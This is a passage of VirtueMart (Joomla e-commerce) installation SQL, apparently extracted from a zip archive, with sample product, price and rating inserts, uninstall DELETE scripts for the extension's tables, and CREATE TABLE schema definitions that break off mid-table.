72, 17, '', NULL, '', 0, 4), (101, 72, 18, '100% Synthetic', NULL, '', 0, 5), (102, 72, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (103, 73, 16, 'XS', NULL, '', 0, 0), (104, 73, 16, 'S', 10.00000, '', 0, 1), (105, 73, 16, 'M', 20.00000, '', 0, 2), (106, 73, 16, 'L', 30.00000, '', 0, 3), (107, 73, 17, '', NULL, '', 0, 4), (108, 73, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6); INSERT IGNORE INTO `#__virtuemart_product_manufacturers` (`id`, `virtuemart_product_id`, `virtuemart_manufacturer_id`) VALUES (1, 1, 2), (2, 2, 2), (3, 3, 2), (4, 4, 2), (5, 5, 2), (6, 6, 2), (7, 7, 2), (8, 8, 2), (9, 9, 2), (10, 10, 2), (11, 11, 2), (12, 15, 2), (13, 19, 2), (14, 20, 2), (15, 21, 2), (16, 22, 2), (17, 23, 2), (18, 24, 1), (19, 25, 2), (20, 26, 1), (21, 27, 2), (22, 28, 2), (23, 36, 1), (24, 35, 3), (25, 34, 2), (26, 33, 1), (27, 32, 3), (28, 31, 2), (29, 30, 2), (30, 29, 1), (31, 37, 3), (32, 38, 2), (33, 39, 2), (34, 47, 1), (35, 46, 3), (36, 45, 2), (37, 44, 1), (38, 43, 3), (39, 42, 2), (40, 41, 1), (41, 40, 3), (42, 48, 2), (43, 49, 2), (44, 50, 2), (45, 58, 1), (46, 57, 3), (47, 56, 2), (48, 55, 1), (49, 54, 3), (50, 53, 2), (51, 52, 2), (52, 51, 1), (53, 59, 1), (54, 60, 3), (55, 61, 3), (56, 62, 2), (57, 63, 2), (58, 64, 2), (59, 65, 2), (60, 66, 1), (61, 67, 3), (62, 68, 2), (63, 70, 1), (64, 69, 3), (65, 71, 3), (66, 72, 1), (67, 73, 2); INSERT IGNORE INTO `#__virtuemart_product_medias` (`id`, `virtuemart_product_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 8, 1), (2, 2, 8, 1), (3, 3, 8, 1), (4, 4, 8, 1), (5, 5, 8, 1), (6, 6, 8, 1), (7, 7, 8, 1), (8, 11, 8, 1), (9, 15, 8, 1), (10, 19, 8, 1), (11, 23, 8, 1), (12, 26, 12, 1), (13, 22, 11, 1), (14, 27, 8, 1), (15, 49, 8, 1), (16, 38, 8, 1), (17, 60, 8, 1), (18, 61, 10, 1), (19, 62, 11, 1), (20, 63, 12, 1), (21, 64, 8, 1), (22, 65, 13, 1), (23, 66, 14, 1), (24, 67, 15, 1), (25, 68, 8, 1), (26, 69, 16, 1), (27, 70, 17, 1), (28, 71, 18, 1), (29, 72, 19, 1), (30, 73, 20, 1); INSERT IGNORE INTO `#__virtuemart_product_prices` (`virtuemart_product_price_id`, `virtuemart_product_id`, `virtuemart_shoppergroup_id`, `product_price`, `override`, `product_override_price`, `product_tax_id`, `product_discount_id`, `product_currency`) VALUES (1, 1, 0, 10.00000, 0, 0.00000, 0, 0, 47), (2, 2, 0, 0.00000, 0, 0.00000, 0, 0, 47), (3, 3, 0, 10.00000, 0, 0.00000, 0, 0, 47), (4, 5, 0, 10.00000, 0, 0.00000, 0, 0, 47), (5, 6, 0, 10.00000, 0, 0.00000, 0, 0, 47), (6, 7, 0, 10.00000, 0, 0.00000, 0, 0, 47), (7, 8, 0, 15.00000, 0, 0.00000, 0, 0, 47), (8, 9, 0, 20.00000, 0, 0.00000, 0, 0, 191), (9, 10, 0, 25.00000, 0, 0.00000, 0, 0, 191), (10, 11, 0, 10.00000, 0, 0.00000, 0, 0, 47), (11, 12, 0, 15.00000, 0, 0.00000, 0, 0, 191), (12, 13, 0, 20.00000, 0, 0.00000, 0, 0, 191), (13, 14, 0, 25.00000, 0, 0.00000, 0, 0, 191), (14, 15, 0, 10.00000, 0, 0.00000, 0, 0, 47), (15, 16, 0, 15.00000, 0, 0.00000, 0, 0, 191), (16, 17, 0, 20.00000, 0, 0.00000, 0, 0, 191), (17, 18, 0, 25.00000, 0, 0.00000, 0, 0, 191), (18, 4, 0, 10.00000, 0, 0.00000, 0, 0, 47), (19, 19, 0, 10.00000, 0, 0.00000, 0, 0, 47), (20, 21, 0, 20.00000, 0, 0.00000, 0, 0, 47), (21, 22, 0, 30.00000, 0, 0.00000, 0, 0, 47), (22, 23, 0, 100.00000, 0, 0.00000, 0, 0, 47), (23, 25, 0, 150.00000, 0, 0.00000, 0, 0, 47), (24, 26, 0, 200.00000, 0, 0.00000, 0, 0, 47), (25, 27, 0, 40.00000, 0, 0.00000, 0, 0, 47), (26, 38, 0, 210.00000, 0, 0.00000, 0, 0, 47), (27, 49, 0, 300.00000, 0, 0.00000, 0, 0, 47), (28, 61, 0, 29.00000, 0, 0.00000, 0, 0, 47), (29, 62, 0, 34.90000, 0, 0.00000, 0, 0, 47), (30, 63, 0, 44.90000, 0, 0.00000, 0, 0, 191), (31, 64, 0, 25.00000, 0, 0.00000, 0, 0, 47), (32, 65, 0, 24.90000, 0, 0.00000, 0, 0, 47), (33, 66, 0, 15.00000, 0, 0.00000, 0, 0, 47), (34, 67, 0, 17.90000, 0, 0.00000, 0, 0, 47), (35, 68, 0, 249.90000, 0, 0.00000, 0, 0, 47), (36, 69, 0, 149.90000, 0, 0.00000, 0, 0, 47), (37, 70, 0, 490.90000, 0, 0.00000, 0, 0, 47), (38, 71, 0, 899.90000, 0, 0.00000, 0, 0, 47), (39, 72, 0, 24.90000, 0, 0.00000, 0, 0, 182), (40, 73, 0, 449.90000, 0, 0.00000, 0, 0, 47), (41, 72, 3, 19.90000, 0, 0.00000, 0, 0, 47), (42, 73, 3, 349.90000, 0, 0.00000, 0, 0, 47), (43, 61, 3, 14.90000, 0, 0.00000, 0, 0, 47), (44, 62, 3, 24.90000, 0, 0.00000, 0, 0, 47), (45, 63, 3, 34.90000, 0, 0.00000, 0, 0, 47), (46, 65, 3, 14.90000, 0, 0.00000, 0, 0, 47), (47, 66, 3, 9.90000, 0, 0.00000, 0, 0, 47), (48, 67, 3, 12.90000, 0, 0.00000, 0, 0, 47); INSERT IGNORE INTO `#__virtuemart_ratings` (`virtuemart_rating_id`, `virtuemart_product_id`, `rates`, `ratingcount`, `rating`, `published`) VALUES (1, 4, 4, 1, 4.0, 0), (2, 5, 5, 1, 5.0, 0), (3, 6, 4, 1, 4.0, 0), (4, 7, 4, 1, 4.0, 0), (5, 11, 5, 1, 5.0, 0), (6, 15, 5, 1, 5.0, 0), (7, 22, 3, 1, 3.0, 0), (8, 23, 5, 1, 5.0, 0), (9, 24, 4, 1, 4.0, 0), (10, 25, 4, 1, 4.0, 0), (11, 26, 5, 1, 5.0, 0), (12, 21, 5, 1, 5.0, 0), (13, 20, 3, 1, 3.0, 0), (14, 19, 5, 1, 5.0, 0), (15, 63, 5, 1, 5.0, 0), (16, 60, 5, 1, 5.0, 0), (17, 61, 4, 1, 4.0, 0), (18, 62, 4, 1, 4.0, 0), (19, 67, 5, 1, 5.0, 0), (20, 64, 4, 1, 4.0, 0), (21, 65, 5, 1, 5.0, 0), (22, 66, 5, 1, 5.0, 0), (23, 71, 5, 1, 5.0, 0), (24, 72, 3, 1, 3.0, 0), (25, 73, 4, 1, 4.0, 0), (26, 70, 5, 1, 5.0, 0), (27, 69, 4, 1, 4.0, 0); INSERT IGNORE INTO `#__virtuemart_rating_votes` (`virtuemart_rating_vote_id`, `virtuemart_product_id`, `vote`, `lastip`) VALUES (1, 4, 4, '::1'), (2, 5, 5, '::1'), (3, 6, 4, '::1'), (4, 7, 4, '::1'), (5, 11, 5, '::1'), (6, 15, 5, '::1'), (7, 22, 3, '::1'), (8, 23, 5, '::1'), (9, 24, 4, '::1'), (10, 25, 4, '::1'), (11, 26, 5, '::1'), (12, 21, 5, '::1'), (13, 20, 3, '::1'), (14, 19, 5, '::1'), (15, 63, 5, '::1'), (16, 60, 5, '::1'), (17, 61, 4, '::1'), (18, 62, 4, '::1'), (19, 67, 5, '::1'), (20, 64, 4, '::1'), (21, 65, 5, '::1'), (22, 66, 5, '::1'), (23, 71, 5, '::1'), (24, 72, 3, '::1'), (25, 73, 4, '::1'), (26, 70, 5, '::1'), (27, 69, 4, '::1'); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (NULL, 1, 'Gold Level', 'Gold Level Shoppers.', 0,1,1), (NULL, 1, 'Wholesale', 'Shoppers that can buy at wholesale.', 0,1,1);PKB\+$install/uninstall_essential_data.sqlnuW+A-- Remove all essential data DELETE FROM `#__virtuemart_configs`; DELETE FROM `#__virtuemart_adminmenuentries`; DELETE FROM `#__virtuemart_modules`; DELETE FROM `#__virtuemart_orderstates`; DELETE FROM `#__virtuemart_userfields`; DELETE FROM `#__virtuemart_userfield_values`;PKB\VUvv#install/uninstall_required_data.sqlnuW+A-- Remove all required data DELETE FROM `#__virtuemart_permgroups`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_currencies`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_states`;PKB\install/index.htmlnuW+APKB\)install/.htaccessnuW+A Order allow,deny Deny from all PKB\&'install/install.sqlnuW+A-- VirtueMart table SQL script -- This will install all the tables need to run VirtueMart -- -- Table structure for table `#__virtuemart_adminmenuentries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_adminmenuentries` ( `id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `module_id` tinyint(10) unsigned NOT NULL DEFAULT '0' COMMENT 'The ID of the VM Module, this Item is assigned to', `parent_id` tinyint(11) unsigned NOT NULL DEFAULT '0', `name` char(64) NOT NULL DEFAULT '0', `link` char(64) NOT NULL DEFAULT '0', `depends` char(64) NOT NULL DEFAULT '' COMMENT 'Names of the Parameters, this Item depends on', `icon_class` char(96), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `tooltip` char(128), `view` char(32), `task` char(32), PRIMARY KEY (`id`), KEY `module_id` (`module_id`), KEY `published` (`published`), KEY `ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Administration Menu Items' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calcs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calcs` ( `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1' COMMENT 'Belongs to vendor', `calc_jplugin_id` int(11) NOT NULL DEFAULT '0', `calc_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_descr` char(128) NOT NULL DEFAULT '' COMMENT 'Description', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_value_mathop` char(8) NOT NULL DEFAULT '' COMMENT 'the mathematical operation like (+,-,+%,-%)', `calc_value` decimal(10,4) NOT NULL DEFAULT '0.0000' COMMENT 'The Amount', `calc_currency` smallint(1) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Currency of the Rule', `calc_shopper_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Shoppers', `calc_vendor_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Vendors', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Startdate if nothing is set = permanent', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Enddate if nothing is set = permanent', `for_override` tinyint(1) NOT NULL DEFAULT '0', `calc_params` varchar(18000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_calc_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `idx_calc_kind` (`calc_kind`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_categories` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_manufacturers` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_shoppergroups` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_countries` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_country_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_states` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_state_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_categories` ( `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `category_template` char(128), `category_layout` char(64), `category_product_layout` char(64), `products_per_row` tinyint(2), `limit_list_step` char(32), `limit_list_initial` smallint(1) UNSIGNED, `hits` int(1) unsigned NOT NULL DEFAULT '0', `metarobot` char(40) NOT NULL DEFAULT '', `metaauthor` char(64) NOT NULL DEFAULT '', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_category_id`), KEY `idx_category_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Product Categories are stored here' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_category_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `category_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `category_child_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY (`category_child_id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_category_parent_id` (`category_parent_id`,`category_child_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Category child-parent relation list'; -- -- Table structure for table `#__virtuemart_category_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_category_id` (`virtuemart_category_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_countries` ( `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_worldzone_id` tinyint(11) NOT NULL DEFAULT '1', `country_name` char(64), `country_3_code` char(3), `country_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_country_id`), KEY `idx_country_3_code` (`country_3_code`), KEY `idx_country_2_code` (`country_2_code`), KEY `ordering` (`ordering`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Country records' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_coupons` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_coupons` ( `virtuemart_coupon_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `coupon_code` char(32) NOT NULL DEFAULT '', `percent_or_total` enum('percent','total') NOT NULL DEFAULT 'percent', `coupon_type` enum('gift','permanent') NOT NULL DEFAULT 'gift', `coupon_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_start_date` datetime, `coupon_expiry_date` datetime, `coupon_value_valid` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_used` varchar(200) NOT NULL DEFAULT '', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_coupon_id`), KEY `idx_coupon_code` (`coupon_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store coupon codes' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_currencies` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_currencies` ( `virtuemart_currency_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `currency_name` char(64), `currency_code_2` char(2), `currency_code_3` char(3), `currency_numeric_code` int(4), `currency_exchange_rate` decimal(10,5), `currency_symbol` char(4), `currency_decimal_place` char(4), `currency_decimal_symbol` char(4), `currency_thousands` char(4), `currency_positive_style` char(64), `currency_negative_style` char(64), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '1', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_currency_id`), KEY `ordering` (`ordering`), KEY `published` (`published`), KEY `shared` (`shared`), KEY `virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_currency_code_3` (`currency_code_3`), KEY `idx_currency_numeric_code` (`currency_numeric_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store currencies'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_customs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_customs` ( `virtuemart_custom_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `custom_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `custom_jplugin_id` int(11) NOT NULL DEFAULT '0', `custom_element` char(50) NOT NULL DEFAULT '', `admin_only` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:Display in admin only', `custom_title` char(255) NOT NULL DEFAULT '' COMMENT 'field title', `show_title` tinyint(1) NOT NULL DEFAULT '1', `custom_tip` char(255) NOT NULL DEFAULT '' COMMENT 'tip', `custom_value` char(255) COMMENT 'defaut value', `custom_field_desc` char(255) COMMENT 'description or unit', `field_type` char(1) NOT NULL DEFAULT '0' COMMENT 'S:string,I:int,P:parent, B:bool,D:date,T:time,H:hidden', `is_list` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'list of values', `is_hidden` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:hidden', `is_cart_attribute` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Add attributes to cart', `layout_pos` char(24) COMMENT 'Layout Position', `custom_params` text, `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_custom_id`), KEY `i_custom_parent_id` (`custom_parent_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_custom_element` (`custom_element`), KEY `idx_field_type` (`field_type`), KEY `i_is_cart_attribute` (`is_cart_attribute`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_invoices` ( `virtuemart_invoice_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_order_id` int(1) UNSIGNED, `invoice_number` char(64), `order_status` char(2), `xhtml` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_invoice_id`), UNIQUE KEY `idx_invoice_number` (`invoice_number`,`virtuemart_vendor_id`), KEY `idx_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturers` ( `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturercategories_id` int(11), `hits` int(11) unsigned NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturer_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are those who deliver products' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_manufacturer_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturer_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_manufacturer_id` (`virtuemart_manufacturer_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturercategories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturercategories` ( `virtuemart_manufacturercategories_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturercategories_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are assigned to these categories' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_medias` (was `#__virtuemart_product_files`) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_medias` ( `virtuemart_media_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `file_title` char(126) NOT NULL DEFAULT '', `file_description` char(254) NOT NULL DEFAULT '', `file_meta` char(254) NOT NULL DEFAULT '', `file_mimetype` char(64) NOT NULL DEFAULT '', `file_type` char(32) NOT NULL DEFAULT '', `file_url` varchar(900) NOT NULL DEFAULT '', `file_url_thumb` varchar(900) NOT NULL DEFAULT '', `file_is_product_image` tinyint(1) NOT NULL DEFAULT '0', `file_is_downloadable` tinyint(1) NOT NULL DEFAULT '0', `file_is_forSale` tinyint(1) NOT NULL DEFAULT '0', `file_params` varchar(17500), `file_lang` varchar(500) NOT NULL, `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 